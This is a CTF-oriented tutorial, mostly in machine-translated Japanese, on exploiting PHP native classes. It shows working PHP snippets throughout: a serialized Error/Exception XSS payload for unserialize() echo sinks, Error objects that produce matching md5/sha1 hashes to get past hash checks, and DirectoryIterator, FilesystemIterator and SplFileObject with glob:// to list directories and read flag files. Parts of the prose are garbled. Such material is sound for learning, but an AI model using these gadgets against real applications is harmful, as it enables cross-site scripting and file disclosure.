この記事ではPHPに関する知識を紹介しており、主にネイティブクラスに関する内容を紹介していますので、一緒に見ていきましょう。
今回の HEctf は、コードがわずか 3 行のネイティブの質問です。案の定、コードが短くなればなるほど、ctf は難しくなります。
まず、php 組み込みクラスを横断するスクリプトを投稿します
<?php $classes = get_declared_classes(); foreach ($classes as $class) { $methods = get_class_methods($class); foreach ($methods as $method) { if (in_array($method, array( '__destruct', '__toString', '__wakeup', '__call', '__callStatic', '__get', '__set', '__isset', '__unset', '__invoke', '__set_state' // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类 ))) { print $class . '::' . $method . "\n"; } } }
結果:
整理:
Exception ErrorException Error ParseError TypeError ArgumentCountError ArithmeticError DivisionByZeroError ClosedGeneratorException DateTime DateTimeZone DatePeriod DirectoryIterator wakeup JsonException wakeup LogicException BadFunctionCallException InvalidArgumentException OutOfRangeException RuntimeException OverflowException RangeException UnderflowException GlobIterator SplFixedArray ReflectionException ReflectionFunctionAbstract ReflectionParameter ReflectionMethod ReflectionClass ReflectionClassConstant ReflectionZendExtension AssertionError DOMException PDOException SimpleXMLElement mysqli_sql_exception PharException PharData PharFileInfo
おおよそこれらのクラスですが、ctf コンテストでは次のクラスがよく使用されます
#__toString メソッドは、エラーまたは例外 入力したパラメータを含む文字列形式。xss コードの文字列を構築し、それをエコー レンダリングと組み合わせると、反映された xss 脆弱性がトリガーされます
demo:
<?php $a = unserialize($_GET['a']);echo $a;
poc
<?php $a = new Error("<script>alert('hacker')"); $b = serialize($a); echo urlencode($b);
文字列の出力
O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3 Bs%3A32%3A%22%3Cscript%3Ealert%28%27hacker%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A25%3A%22E%3A%5Cphp%5Cfunction%5Ctest2.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D复制代码
成功したポップアップ ウィンドウ
ExceptionYes すべてのユーザーレベルの例外の基本クラス。 (PHP 5、7、8)
<?php $a = new Exception("<script>alert('hacker')"); $b = serialize($a); echo urlencode($b); ?>
は、error と同じポップ構造を持っているようです (例外は php5 と 7 に適用され、エラーは php7 にのみ適用されます)。エラーを例外に置き換えるだけです。それでも正常にポップアップ表示されます
これら 2 つのクラスを構築することで、md5() と sha1 ( )関数。エラーと例外の両方に、_tostring という重要なメソッドがあります。これは、例外オブジェクトを文字列に変換するために使用されます。
同様に、md5() 関数と sha1() 関数がオブジェクトを処理するときに、__tostring メソッドが自動的に呼び出されます。
<?php $a = new Error("payload",1);$b=new Error("payload",2); echo $a."<br>"; echo $b."<br>";
それがわかります。ペイロード次のパラメータは出力結果に影響を与えません。これにより、ハッシュ関数をバイパスできます。
<?php $a=new Error("payload",1);$b=new Error("payload",2); if ($a!=$b){ echo '$a不等于$b'."\n ";} if (md5($a)===md5($b)) { echo "md5值相等\n"; } if (sha1($a)===sha1($b)){ echo "sha1值相等\n"; }
Simple Object Access Protocol の意味
ここで言われる理由HTTP と XML という広く使われている 2 つのプロトコルに基づいているため、業界ではこの技術を「新しい技術を発明しない初めての技術」と呼んでいます。Web サービスにアクセスするため、オブジェクトと呼ばれます。サービスはオブジェクトであるため、サービスには関連する属性と呼び出し動作が必要です。これらの属性と動作は WSDL を通じて記述されます。 「シンプル オブジェクト アクセス プロトコル」という観点で理解すると、「シンプル オブジェクト アクセス プロトコル」よりも簡単です。
PHP の組み込みクラス SoapClient は、Web サービスへのアクセスに特化して使用されるクラスであり、SOAP を提供できます。 PHP クライアントが Web サービスにアクセスするための -based プロトコル。
このクラスのコンストラクターは次のとおりです:
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
DirectoryIterator
__toString ファイル名を文字列形式で取得します (PHP 5、7、8)
例:
<?php $a = new DirectoryIterator("/"); foreach($a as $b){ echo($b.'</br>'); } echo $a;
指定されたディレクトリ内の最初にソートされたファイルを出力しますファイル名
この組み込みクラスの __toString メソッドを glob またはファイル プロトコルと組み合わせて使用し、ディレクトリ トラバーサルを実現します
<?php $a = new DirectoryIterator("glob://*"); foreach ($a as $b){ echo $b.'<br>'; }
使用foreach 関数 すべてのファイルを走査します
<?php $a = new DirectoryIterator("glob:///*"); foreach ($a as $b){ echo $b.'<br>'; }
スラッシュをもう 1 つ、ディレクトリ内で前方に 1 つ追加します。
FilesystemIterator クラス
FilesystemIterator クラスは DirectoryIterator クラスと同一であり、ファイル システム ディレクトリの内容を表示するための単純なインターフェイスを提供します。このクラスのコンストラクターは、指定されたディレクトリのイテレーターを作成します。
このクラスの使用方法は、基本的に DirectoryIterator クラスと同じです。
<?php $a = new FilesystemIterator("glob:///*"); foreach ($a as $b){ echo $b.'<br>'; }
SplFileObject::__toString — 以字符串形式返回文件的路径
<?php $a = new SplFileObject('flag.txt'); echo $a;
输出多行
<?php $a = new SplFileObject('flag.txt'); foreach($a as $f){ echo($f); }
推荐学习:《PHP视频教程》
以上がPHPネイティブクラスの概要共有の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。